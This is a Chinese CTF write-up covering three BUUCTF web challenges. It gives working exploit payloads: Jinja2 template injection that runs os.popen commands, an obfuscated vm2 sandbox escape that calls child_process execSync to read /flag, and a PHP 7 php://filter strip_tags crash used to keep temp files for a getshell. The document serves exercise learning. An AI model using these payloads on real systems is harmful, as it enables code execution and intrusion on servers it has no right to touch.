buuctf21
[CISCN2019 华东南区]Double Secret
猜出目录是secret,然后参数也是secret
接下来输入参数发现每次参数的回显是不一样,像是有某种加密发现输入的字符比较多的时候就会报错了
if(secret==None): |
感觉这是其中一个比较有用的信息,涉及了解密内容
注意关键点:
a=render_template_string()函数说明可以渲染我们输入的参数,也就是说存在ssti注入 |
所以接下来的关键是利用rc4加密的密文,将我们的payload进行加密后输入,接下来就会自动进行解密,就会执行我们的payload了~
网上找的加密脚本:
import base64 |
用手打了一次,还是学到了些东西的
然后输入
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} |
即可查看到目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()")}}{% endif %}{% endfor %} |
[HFCTF2020]JustEscape
下面有提示 让我们到run.php里面输出code于是——
以为是ssti注入所以输了点内容,发现后面出了这玩意?error.stack
属性是一个字符串,描述代码中 Error
被实例化的位置
输入Error().stack
得到:
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) |
可以发现是一个js的vm沙盒
直接找原型利用链来打就行
最新的沙箱逃逸的poc。
https://github.com/patriksimek/vm2/issues/225
'(' + function(){ |
但是因为有过滤,所以需要绕过,可以加上反引号进行绕过:
/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})() |
还有一种方式是将关键字(比如prototyp)改为:${${prototyp}e}
(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })() |
payload分析:
刚学node.js的沙箱逃逸啥也编不出来,于是就用payload来分析一下
'(' + function(){ |
参考:
https://tothemoon2019.github.io/2020/10/21/%E7%AC%AC%20%E4%BA%94%20%E5%91%A8%20write%20up%20%5B%5BHFCTF2020%5DJustEscape%20%5BBJDCTF2020%5DEasySearch%20HCTF-2018-Web-warmup%5D/
https://github.com/patriksimek/vm2/issues/225
[NPUCTF2020]ezinclude
查看源码,看到cookie 直接传pass
然后进去,抓包才能看到其他信息
看到文件包含就要想到伪协议!:
php://filter/read=convert.base64-encode/resource=flflflflag.php |
<html> |
过滤了data和input不能用命令执行了,也不能直接写入文件
PHP7.0bug
php7.0的bug:
?file=php://filter/string.strip_tags/resource=/etc/passwd
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复 |
import requests |
python运行脚本即可,然后读dir.php中看一下文件名,接下来使用文件包含即可